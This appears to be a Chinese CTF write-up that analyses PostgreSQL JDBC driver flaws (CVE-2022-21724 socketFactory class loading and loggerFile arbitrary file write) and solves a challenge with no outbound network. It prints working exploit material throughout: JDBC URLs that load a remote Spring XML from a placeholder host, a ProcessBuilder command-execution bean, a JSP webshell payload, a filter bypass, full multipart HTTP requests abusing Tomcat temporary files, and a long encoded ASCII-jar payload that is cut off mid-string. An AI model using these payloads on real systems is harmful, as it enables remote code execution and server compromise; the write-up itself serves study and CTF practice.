起因是p神在星球中发了一个有关pgsql attack的小挑战,有关pgsql相关的attack一直没看,这次来顺便学习一下

挑战的项目地址:https://github.com/phith0n/code-breaking/tree/master/2025

背景介绍

CVE-2022-21724是在在 PostgreSQL 数据库的 jdbc 驱动程序中发现一个安全漏洞。当攻击者控制 jdbc url 或者属性时,使用 PostgreSQL 数据库的系统将受到攻击。 pgjdbc 根据通过 authenticationPluginClassNamesslhostnameverifiersocketFactorysslfactorysslpasswordcallback 连接属性提供类名实例化插件实例。但是,驱动程序在实例化类之前没有验证类是否实现了预期的接口。这可能导致通过任意类加载远程代码执行。

漏洞利用

socketFactory/socketFactoryArg

漏洞介绍

影响版本

  • 9.4.1208 <=PgJDBC <42.2.25

  • 42.3.0 <=PgJDBC < 42.3.2

官方的通告:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4

关于这两个属性的利用,网上公开的poc如下,该poc可以用来任意命令执行

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

exp.xml

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

效果如下:

image-20250425212838853

流程分析

接下来就是看一下触发的流程了

org.postgresql.Driver#parseURL方法对我们传递过来的url参数进行解析和处理

image-20250425215840312

进到方法里面看看

image-20250425220012874

首先将参数分离出来放到一个字符串变量中,然后继续往下

image-20250425220250133

这里用&分隔出来遍历,然后根据键值对存放进urlProps返回,urlProps是一个HashTable类型的变量

然后后续我们去重点关注socketFactory和socketFactoryArg这两个参数的处理,他们在makeConnection方法中进行集中处理

image-20250425220548598

继续往下跟进,直到看到一个SocketFactoryFactory.getSocketFactory()方法

image-20250425231213951

里面调用了一个ObjectFactory.instantiate方法,传入我们的socketFactory的类名和socketFactoryArg的参数,都是字符串形式

image-20250425231436177

然后我们从方法名上也可以猜到他是一个实例化方法,用来返回一个SocketFactory的实例,继续跟进这个方法

image-20250425232016303

上面写出了关键的地方,这里首先是获取我们传入的类的Class,然后获取他的构造函数,参数为String的,然后将传进来的factoryArgs给args变量,最后调用该构造方法,也就是我们org.springframework.context.support.ClassPathXmlApplicationContext这个类的参数为String的构造方法

image-20250425232346516

后面就是请求远程的xml文件然后进行解析导致的任意命令执行了,这里就不再进行调试过程记录了,这种利用是需要出网的

不过这个利用方式也给了我们一个启发,我们也许可以通过静态分析的工具去分析源码,看是否能够找到新的类满足构造函数的参数为一个String,且能够进行相关恶意操作的类,也许就可以找不到不出网的打法。

还有spring除了org.springframework.context.support.ClassPathXmlApplicationContext这个类能够解析远程xml文件,还有org.springframework.context.support.FileSystemXmlApplicationContext这个类也可以,且使用方式一样,所以这个poc也可以

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8888/exp.xml");

修复方式

https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813

就是要求获取的类名必须是指定类的子类,否则就抛出异常

loggerLevel/loggerFile

这是一个利用修改日志文件位置从而任意文件写入的漏洞

漏洞介绍

影响版本

  • < 42.3.3

官方的通告:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-673j-qm5f-xpv8

利用POC

jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>
package org.clown.pgsqlattack.Exp;

import java.sql.DriverManager;

public class demo2 {
public static void main(String[] args) throws Exception{
DriverManager.getConnection("jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>");
}
}

执行效果

image-20250426000115822

流程分析

同样分析一下执行的流程

先走到setupLoggerFromProperties这个方法当中

image-20250426000750806

这个props同样是我们前面提到过的被分割的参数

image-20250426000900593

进去方法里面

image-20250426001734114

如果参数的logLevel为DEBUG,就会将框架的日志级别设置为FINE,这个是属于比较低级的日志,可以记录更多详细的信息

再往下

image-20250426002051792

这里的driverLogFile就是我们指定的文件位置,也就是日志文件的保存位置

然后走出setupLoggerFromProperties方法

image-20250426002430533

下一条语句就是进行日志记录的操作,可以简单的知道他这里直接将连接的url信息写入,所以我们直接在url上面加我们的payload就可以了,这样就可以达到任意文件写入的目的了

如果在普通的Tomcat环境下就可以直接写jsp来getshell了

修复方式

https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-673j-qm5f-xpv8

在42.3.3 版本及之后,LoggerFile 实现已被移除并被驱动忽略

不出网pgsql注入

p神给出的挑战核心的目的是需要进行不出网的pgsql利用

这里给到的依赖如下:

image-20250426002935766

这里的pgsql的版本给到的也是处于前面两个利用方式的影响版本下的

其中有两个过滤的地方

第一个是设置了SecurityManager,只要尝试建立网络连接就会被拦截然后抛出异常

image-20250426170403339

第二个是对url参数的过滤

image-20250426170550586

这里是把socketFactory参数给ban了

预期解法

那这里就剩下写文件的方法可以利用,不过看到预期解仍然是使用ClassPathXmlApplicationContext类来拿shell,那么就应该是可以绕过的,去网上搜索了一下,确实有Filter相关的绕过文章:https://tttang.com/archive/1899/

绕过思路分析

虽然里面都是和鉴权相关的绕过,但是也给了我们一个思路,可以去分析他的解析过程来进行绕过,这里就去分析一下

经过调试可以发现,关键地方在如下的地方

image-20250427112325776

可以看到这里针对一个参数他只会获取第一个值,但实际上我们是可以传递多个值的,比如上图我就传了两个值

http://localhost:8080/jdbc?url=http://123&url=jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml

他这里接收之后放到了list里面再获取第一个

image-20250427112642998

那从而我们就可以绕过限制进入下一阶段

我们再去到controller看接收到的url是什么形式

image-20250427135655000

可以看到这里是直接用’,’连接起来形成一个完整的字符串,所以最后绕过并解析的思路就是将payload分为两段传过去即可,例如这样

http://localhost:8080/jdbc?url=jdbc%3Apostgresql%3A%2F%2Fnode1%2Ftest&url=%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F127.0.0.1:8888%2Fexp%2Exml

效果就变成这样

image-20250427143030376

尝试了一下在路由末尾有一个逗号仍然能够整张解析,不过看了题解更好的写法是通过加一个无意义参数来抵消这个’,’避免出错,例如这样

http://localhost:8080/jdbc?url=jdbc%3Apostgresql%3A%2F%2Fnode1%2Ftest%3Fa%3D&url=%26socketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F127.0.0.1:8888%2Fexp%2Exml

这样传过来的url就是下面这样

image-20250427144221080

不出网问题

绕过的问题解决了,接下来就是不出网的问题了,看题解这里是深入去分析了一下ClassPathXmlApplicationContext这个类加载xml的具体过程,找到了不出网的方式,这里也调试分析一下

这里我们要解决不出网,关键的地方就是解决它触发网络请求的部分,所以需要先确定进行网络请求获取资源的地方,这里用下面的代码进行测试

package org.clown.pgsqlattack.Exp;

import org.clown.pgsqlattack.security.ForbiddenNetworkAccessSecurityManager;

import java.sql.DriverManager;

public class demo1 {
public static void main(String[] args) throws Exception{
System.setSecurityManager(new ForbiddenNetworkAccessSecurityManager());
DriverManager.getConnection("jdbc:postgresql://node1/test,?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8888/exp.xml");
}
}

这里同样用了SecurityManager就是为了确定在哪部分函数进行的请求

经过测试是在ClassPathXmlApplicationContext#refresh()方法中处理的

image-20250427163926677

所以我们跟进这个方法,找到关键的对configLocations进行处理的地方即可,中间的过程就不一步步展示了,直接说关键的方法,就是PathMatchingResourcePatternResolver#getResources方法

image-20250427164414567

这里就是对前缀进行判断,看要采用哪一种获取资源的方式,这里CLASSPATH_ALL_URL_PREFIX的值为”classpath*:”

可以看到两种解析都是先去调用一个isPattern方法截取前缀之后的字符串去判断

image-20250427170523152

问了一下deepseek对前面代码的解析,可以知道这个方法就是对通配符的判断

image-20250427173410745

所以就是再根据是否包含通配符来采取两种不同的资源获取方式

所以这里绕过安全检查有两种,这里先看第一种,直接从classpath去加载资源

poc如下:

DriverManager.getConnection("jdbc:postgresql://node1/test,?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=classpath*:org/clown/pgsqlattack/Exp/exp.xml");

image-20250427175340253

classpath类路径是以target目录下的classes目录为基准的,所以我们exp.xml文件要放在这里才能被检索到,或者放在resources目录下在项目编译的时候也会被放进去

成功绕过安全检查执行

image-20250427175402904

然后因为支持统配符,所以写成这样也是可以的

DriverManager.getConnection("jdbc:postgresql://node1/test,?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=classpath*:org/**/pgsqlattack/Exp/*.xml");

但是这种应该是需要配合任意文件写入的漏洞组合起来才能成功,因为只能在classpath下,但是任意文件写入又有脏字符问题需要解决,暂时还不会

接下来可以看另一种协议的解析

image-20250427213359669

这部分逻辑也和前面差不多,有通配符就会调用findPathMatchingResources方法去加载资源,里面包含了对通配符的处理,至于要用什么协议呢,我们这里就需要使用file协议,他这里是支持file协议的,原因后面说

进去看一下这个函数加载资源的逻辑

image-20250427214652049

这里首先是调用determineRootDir方法提取路径模式中最长的非通配符前缀作为根目录,然后单独调用一次getResources方法去获取根目录的Resouce对象列表,剩下的subPattern就是剩余的子路径部分,包含通配符,用于后续的递归匹配

image-20250427214847407

可以知道他就会走到我们刚刚说的else里面先去加载一次资源

然后会走到下面这个地方

image-20250427215003181

这里就直接new了一个URL对象,然后会去判断你的url是什么类型的url

image-20250427215102598

这里就涉及到file、vfsfile、vfs三种文件协议,所以他这里是支持file协议的资源加载的

所以我们原始的payload采用http协议的话,就会返回一个UrlResource对象,在后续的流程中触发网络连接导致被检测

继续回到findPathMatchingResources方法

image-20250427220949144

在对vfs和jar协议判断后,进入else,执行doFindPathMatchingFileResources方法

继续跟进

image-20250427221335595

这里会返回一个解析后的File对象,我这里是Windows,他解析回来的根目录为D:\,然后后面其实就是对统配符的匹配,查找匹配的资源了

然后在loadBeanDefinitions方法真正对每个resource进行获取

image-20250427223030762

里面的逻辑不太重要,就不再记录了,自己调试看一眼就好

所以能成功绕过的poc如下,这为了方便匹配写了精确一点,只是一个例子

DriverManager.getConnection("jdbc:postgresql://node1/test,?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=file:/CTF/Java/JavaCode/pgsqlAttack/**/org/clown/pgsqlattack/Exp/exp.xml");

image-20250427222235569

临时文件上传利用

接下来就到了如何进行利用的时候了,预期解就是采用的file协议,但是文件从哪来呢

这里涉及到了一个临时文件上传的机制,没错就是和经典的php临时文件上传题目的原理一样

Tomcat也存在类似的临时文件上传机制,当接受到文件上传的请求的时候,也就是multipart/form-data的请求的时候,会将每个multipart块依次保存在临时目录下,文件名为upload_<GUID>_<number>.tmp。其中,<GUID>是和当前进程唯一相关的一个uuid,<number>是一个自增的序列号。

想观察临时文件的创建过程可以用Process Monitor,这里随便上传一下

image-20250427232837372

看一下进程

image-20250427232848392

可以看到创建了临时文件,然后请求结束之后就立马删除了,所以打法就可以参照php的临时文件上传,通过一个上传数据包加通配符的方式来加载临时文件,从而rce,比如这样,这是在Windows的一个打法示例,Linux的则是在/tmp/tomcatXXX/work/Tomcat/localhost/ROOT目录下,参考这篇文章:https://blog.csdn.net/weixin_70280523/article/details/128183814,这里我没去实际验证

POST /jdbc?url=jdbc:postgresql://node1/test?a=&url=%26socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=file:/C:/Users/clown/AppData/Local/Temp/tomcat*/work/Tomcat/localhost/ROOT/*.tmp HTTP/1.1
Host: localhost:8080
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
sec-ch-ua-platform: "Windows"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=40b0793b734b7a84a41b78665a2659f265597e697a7d152b3c1c407dea72
Content-Length: 185

--40b0793b734b7a84a41b78665a2659f265597e697a7d152b3c1c407dea72
Content-Disposition: form-data; name="key"

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
--40b0793b734b7a84a41b78665a2659f265597e697a7d152b3c1c407dea72--

image-20250428000432592

然后还有一个问题,就是不同启动方式的tomcat,他的临时目录的位置是不一样的,普通Tomcat应用启动时临时文件在Tomcat安装目录下的work目录下,而Springboot的话,Tomcat是嵌入式的,就会保存到我们前面说的临时目录下面

p神后面补充:实际上,单独的Tomcat+servlet环境,只有满足下面两个条件才会创建临时文件

  1. 代码里配置了 MultipartConfig 注解或者web.xml里配置了<multipart-config>
  2. 有使用request.getPart这种处理multipart的方法

环境变量优化payload

那么就还需要优化一下payload,使其更加通用,这里就用到了环境变量去优化

环境变量的解析在之前略过的ClassPathXmlApplicationContext#setConfigLocations方法中

然后一路跟进到org.springframework.util.PropertyPlaceholderHelper#parseStringValue方法

image-20250428001706018

这里会对路径进行一次环境变量的解析

占位符的解析来源问了一下deepseek(不一定保真)

image-20250428002740290

${catalina.home}这个环境变量就指向Tomcat的安装目录,所以我们就可以在路径中使用这个环境变量来进行payload的优化

POST /jdbc?url=jdbc:postgresql://node1/test?a=&url=%26socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext%26socketFactoryArg=file:/%24%7Bcatalina%2Ehome%7D/work/Tomcat/localhost/ROOT/*.tmp HTTP/1.1
Host: localhost:8080
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Upgrade-Insecure-Requests: 1
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
sec-ch-ua-platform: "Windows"
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=40b0793b734b7a84a41b78665a2659f265597e697a7d152b3c1c407dea72
Content-Length: 185

--40b0793b734b7a84a41b78665a2659f265597e697a7d152b3c1c407dea72
Content-Disposition: form-data; name="key"

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
--40b0793b734b7a84a41b78665a2659f265597e697a7d152b3c1c407dea72--

image-20250428002203008

成功解决!

回显问题

现在还需要构造一个具有回显的xml payload,这里可以用java chains来生成

java chains的生成回显的gadget组合如下:

image-20250428153946790

效果如下

image-20250428154756924

非预期解法

非预期的思路就是一开始我提到的用任意文件写入的方式配合socketFactory,但是绕脏字符的办法就是我的知识盲区了,所以这里也学习一下。

非预期的解法是星球里面@No2Cat师傅提供的orz

脏字符绕过

利用任意文件写主要的一个问题就是脏字符的绕过

要绕过脏字符限制,可以真正要加载的xml文件打包并写入成一个zip格式的压缩包,然后使用jar协议来进行加载即可。

构造合法脏字符jar包

即使是jar包,我们写入的时候还是需要包含脏字符,但是zip的特性(jar本身也是一种压缩包),即使前后有脏字符还是能够被正常解析

但是我们构造的这个zip的字节还要在ASCII码的范围内,因为由于org.postgresql.util.URLCoder#decode解析JDBC URL的时候遇到非ascii字节会报错。

所以就是需要构造一个特殊的ASCII jar包,这个解法的源头来自rwctf2022的一道题目,相关的构造思路也可以看这篇文章,这里就直接用c0ny1师傅的ascii-jar项目来构造了

我们需要修改一下代码

image-20250428212611387

主要是javaCode这里需要我们修改成自己的xml payload,payload用我们之前java chains生成的即可

然后就可以生成一个ascii jar了

python .\ascii-jar-2.py

image-20250428212846785

文件的路径为META-INF/resources/exp.xml

然后将jar包的内容url编码后附在写文件的payload后面即可

POST /jdbc HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
sec-ch-ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
sec-ch-ua-mobile: ?0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded

url=jdbc:postgresql://node1/test?loggerLevel=DEBUG%26loggerFile=/app/exp4.zip%26PK%03%04%0A%00%00%00%08%00%00%00%00%007%1Dc%08%18.%00%00%0B%1F%00%00%1A%00%00%00META-INF/resources/exp.xmlD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswWt0GDDwGpDwwwGDDttwDwwtDGtGDDGDtpt3wG33333swwG03333sDfBD%7C%5CvbrrB%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5E%5EBrrn%7C%5CveMEkgB_KskgNR%7DWW%7BVjjoooJg%7BGCk%5DmGEKMo%5BGSJ%5BG%5DjgU%7DMKEjeMEkgR%7C%5CBBBBBBB_KskgV_gCNR%7DWW%7BVjjoooJofJ%5BG%5DjFZZzjyiIYU%7DMKErCkgWEkUMR%7C%5CBBBBBBB_gCVgU%7DMKEI%5BUEWC%5BkNR%7DWW%7BVjjoooJg%7BGCk%5DmGEKMo%5BGSJ%5BG%5DjgU%7DMKEjeMEkg%7C%5CBBBBBBBBBBBBBBBBBBBBBBBBBBB%7DWW%7BVjjoooJg%7BGCk%5DmGEKMo%5BGSJ%5BG%5DjgU%7DMKEjeMEkgjg%7BGCk%5DreMEkgJ_guRn%7C%5CBBBBveMEkBCuNRuMU%5BuMGRBUsEggNR%5BG%5DJg%7BGCk%5DmGEKMo%5BGSJeMEkgJmEUW%5BG%7FJU%5BkmC%5DJiMW%7D%5BuqkO%5BSCk%5DQEUW%5BG%7F~MEkRn%7C%5CBBBBBBBBv%7BG%5B%7BMGW%7FBkEKMNRgWEWCUiMW%7D%5BuRBOEswMNRcEOE_J_KsJeCkuJaEWEW%7F%7BMA%5BkOMGWMGJ%7BEGgM~Eg%0DD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswWt0GDDGGpDDGtwwDGtwDwtwGGDGGtDwtwDDDwwGwwtwwtwwG33333wwG03333sDfBDzjnS%5Bug%7FbRv%7C%5CBBBBBBBBfGg%7BG%7Dgw%7FB%5Buk%7DVbugCOk%7D%5BwWbv%7C%5CBBBBBBBBBBBBfKSWwv%7C%5CBBBBBBBBBBBBBBBBfouKO%7Dv%7FozzoCNNN%5EQnI_~NErF%7FU%7FFcmaAsuaYoerFWMays%5DaKoM%5BqoerFZMJi%0BD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtsW033GwwtDtDDDtGwwwGwtswwDDDwwGsGGt33333sww03333sDfBDN%7C%7B%7Fu%7Cbl%5DyJKN%5CJwufKguBvOUFKSifKOeieCuFKsEyawMSJS%5EjKCn%7FZ%7FeS%7DBnSA_EkEbE%7CZ_EkIoE%7CnoESAlnqr_JOrJrArAUkz%7CEQRGEYb%5BNlRcUkiSmrMrrOZrJSo%7BukKl~%7DZrr_%7D%7Bi%7DZrZ%7C%7BCmkZwuFzWe_Rz%5D%06D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtsW033GwwwDtDDDtG3wGtwwGDDtwGtwtwwwt33333swG03333sDfBDAsmVI%7BM%7CbVJJm~JJiJj%7D%5BJjJJNJqJZmkYwZJJ%5EJJenJJvJZJzJzf%5Ds%5DFNsmiCseyIsmSRCMyijJjq%5Bni_GeEUC%5E%7C_CMKmOiBI%7FuyRkaozJZ%5C%7DWqEYlufr%7FuE%7BC%5DfsOM%7D%7DJzJzJVK%7BC%5DKzOMfFwU%7FraM%5CA%5Ce%7CCfuyYgUzYbe%7CYo%5DfsOM%7DmJz%7DzJz%7C%7BC%5DKzOMfFwU%7FriuVNO%5D%7CFcMfiVJjqjJjjGeEUC%5E%7C_CMKmOYfC%7FUyFSjoJyJqJnU%7CYlYfC%7FUyFSmo%7DJfJzJZ%7C%7BC%5DKzOMfFwU%7FrZMf%06D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwGGDGDDDwGwwtwwGswGDDtwGwGwwwttG33333sw03333sDfBD%7FmOmJfCzJzKW%5EukFBeqrgeyR%5Bn%5C~geE~%7FAOmJVJzJzy%5DK%5DzQKeBocmkYsIyY%5CufrsJajJNzoGeEUcnBocMkmwibQ_uyR%5BA%7CW%5EukFBeqrgeyR%5Bn%5C~geE~%7FA_K%5EukFBeqrgeyR%5BnbvKUkoKebawIyY%5CufrsAOOJVCJ%7DZCJMJZJjJjcGeEUcnBocMkmwmkYkMfYS%5DZr~UEQ%7BMBaVJ%1AD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwGDGGDDDwwwGswGwwwGDDtwGtGsGD33333swG03333sdFPvjJJ%7C%7FueIjUBAK%5DbAGUkoKJqJFnf%7BGyCOJNJJKZCJSJZUjJJuGm%5BuwMBYjJzs%7BiVGc%7DkFwmVfWu_rQUkGKUbqRE%5CogUeuc%5EBocmk%5DwiBNguEA%5Ca_K~MkfB%15D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtttGDGDDD3GGswGDDtwGtswGG33333sw03333sDdFPqRWeyb%5B%5E%5CRcukYS%5DZW~rj%7Drna%7BrvorgrarIy%5C_geEUC%5E%7C_CMkmOYfC%7FUyFsAomr%5ErzrJ%7C%5DK%5DzbCMyi~rjBrZo%7BrForOrarzuVQ%5Cmr%7Dr~azrzfGC%5DkzOMfFwU%7FRI%5DVNGMkmVrZ~JrrCSM%7Cb%5CeyKwmozrf%7FC~ukF%7CeqRWeyb%5B%5E%1CD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwDGtGDDD3wGwwGwwDDDwwDwtwwwGwtwt33333ww03333sDfBDa%7BUenYuef%7CuEbSuYWGECoJaqJBZCJ%5CJz%5DjJJcjUBaK%5DvIO%5DCCJQqFJZV%7DK%7DFaWUea%7FJqJY%5EZKAMkfBUirWUEb%5B~%5CaWUea%7FQooJQoJRZCJFJz%5CjJJu%5CUen%5BueqNJzRjJjj%5BueIFuEaWUenKuFuGuE_sJqJw%5EF_gUeuc~B_cmk%5DO9D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwGGGGDDDwwwG3GwwDDDwwDwDwwwGG33333sw03333sDdFPbi%7FmeR%5BQ%7FKAmkVBuYJWueR%5B~bnKMk_KubIOikKK%5DvIrFjZZjfN%5EjZWjIofjVBGSCkfO%5DvVwM%7FJ%7FMeMWMea%5C~%5CMGMe_sZoZVzcZvjzuZjja%5BMUIZjzu%7ByvGSCkfO%5DvVwM%7FJqukGKubIr%5EE_guUMS~B_S%5Dk%7DOyBngMea%5CQoojYjZnzcZvjf%7BZjjSK%5Dkio%5DBKwCjcjyjfjZ%5Bi%7BmUAsAjcjycfjZBSS%5DkiWMUNNjVjZjj%7C%5BMUiyCUZK%7DkaWuU%21D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwGwDGDDDwwwGwwwGswGDDtwwtGtwGttt33333sw03333sDfBD%7FFjZijFO%5EjZgjyOfjZ%5BCg%5DBns%5DjSjEqfjF%5BCkCfaguUa%7FYvJsMvE_jqjM%5EzkAm%5BVBuiJgueR%7B~%5CaguUa%7FYvJsMvE_QOOjEOZuzSj%5DjVKZjznw%7D%5B%7DWuUZsuBsk~%5BawceJ%5CMiRiMUV%7CMUa%5CIbnwCUZn%5D%5BMwzjZ%5DjqjEm%5BVBuiJgueR%7B~%5CaguUa%7FYvJsMvE_ZOZCjqjn%5DvJsMfaguUa%7Fjqjk%5EfoGuUMs~Bos%5D%5B%7DwybI_meR%7BQ_kAm%5BVBuiJgueR%7B~%5CaguUa%7FQOOjUOZSzSZcjvf%5EjZgj~Ofjz%7BZ_%5DBak%7Dbaw%7D%7BANjvqZjZaGuUMs~bE%5CmeOwqUn_uUkAmUa%5CZOZ%5Bjqjf%7DBkrMqfjj_%13D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwGGGGDDDsGGwDtswDDDwwDwwtwwG33333swwG03333sdFP%5BQAOjUjZ%5Bz%5DZKjvkZjZIkQQS~UsVBEQJGEYRK%5E%5CJCUsicmFG~jf%5DjujkjeOZgjAjFMsiozjZwjAjNeBi%5CqsJ%5CeA%5DjMAfjfY%5B%7DmsfwuvVWe_JnuKaSeBi_ZOZ%7FjAjfiVSAaAfjfIo%7BEye%7D%5EBo%7DusMwABo%7DMb~rFjZ%7CjNEnjNAjmOfjZbe%7DuNiSqBEZjZEkQQS~UsVBEQJGEYRK%5E%5CSWmviKe9D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwtGGGDDD3wDwGwwwDDDswDwwtttwt33333wwG03333sdFPnrFjZRjNG~jNqjCofjzE%7Dk%7DfskUEIk%5DSSjcqfjzE%7Dk%7Df%7Ck%7DvsOujojcojczSjmjnjajjbjFoGjjSzzjqjAuBy%5CY%5By%7F%5DvJw%5DBYnjnqZjjk%7BueIe%5D%5Bk%5CuennjnUZjjRgUeusABkOA%7C%7D_MeIk%5DS%5DjKjfjZ%5Bssm%5BIWuqfj%5EKsaM%5BVBUiJWUER%7BA%7CQ%5C%5D%5Bkwu%7F%17D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE033GwttwDDDtswwtGswGDDtwGtGsGG33333sw03333sDdFPGiVGc%7DkFOmVfwu%7Fri%7DvnGmk%5DbzJZ%5EJNW%5EJJNJSJFJje%7D%7FMeqKJQJy%5EF_gUeuc~%5C_cmk%5DOY%7Cq%7FMEB%5Ba%7FKEzJZaJNR%5EJNsJsJFJjEuW%7DeA%7BzJZIJJU%5EJNsJsoFJjEAWm%7CAKzJZyJJU%5EJNsJKCFJjV9D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE033wwwDwDDDtwwwtwwGtwwtwGDDtwwtwtwwwtwwt33333ww03333sDdFPbUyAZjj%5Dom%7FROey%5CKzjzUjQjQukV%7CeIJWeyR%5B~%5CaRmBqKMQmjk_fjz%7C%5DK%5DVZ%7FMBZKm%5BqRFjz%5DjNW%5Ejn_j%5BCfjzBqoivJBUEnFeEaKFjzCjjr%5EjFQj%7BQfjjB%5DGMCCj%7B_fjZ%7FJSuybom%7CCNj%5EYZjjNwe_CjG_fjZ%7CawUzRK%7DvYNj%5EsZjjNoe_Cjg_fjfyGc%5DkfoMvVOU%7FJI%5Dy%12D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtswE03sDDtwwGGGDDDwwwGDwwGs